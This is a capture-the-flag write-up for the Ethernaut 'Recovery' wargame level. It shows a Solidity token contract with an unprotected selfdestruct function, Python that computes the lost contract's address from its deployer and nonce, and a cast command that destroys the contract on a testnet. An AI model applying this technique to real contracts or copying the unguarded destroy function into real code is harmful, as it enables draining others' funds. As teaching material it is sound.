Recovery - The Ethernaut - Writeup
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.
This is the code of the contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
The challenge deployes a Recovery contract and gives us its address. This contract deployes a SimpleToken contract when it is called. Because of the challenge description, we assume that the challenge called the generateToken function, sent 0.001 ether to the contract created and lost the address.
If we recover it, we can call de destroy function passing any address we’d like.
When we deploy a contract, it gets an address associated to it. This address generation is totally deterministic. It is based on the address of the contract that deployes and on a nonce, which increases every time that address has deployed a contract. For the first one, it will be 1.
This is specified in the Yellow Paper:

We can therefore compute the address using python:
from eth_utils import *
import rlp
address_bytes = to_canonical_address("0x4CF52b0E9A534551982bA517f590d3ad9Bb27884")
encoded = rlp.encode([address_bytes, 1])
contract_address = to_normalized_address(keccak(encoded)[-20:])
print(contract_address)

Now that we recovered the contract, we can destroy it:
cast send 0x5ddff951210e16B5F05f0a13923f00d0dE69a39b "destroy(address)" 0x12c5Da011f95E229Ba45f732e8f79608444D76b9 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
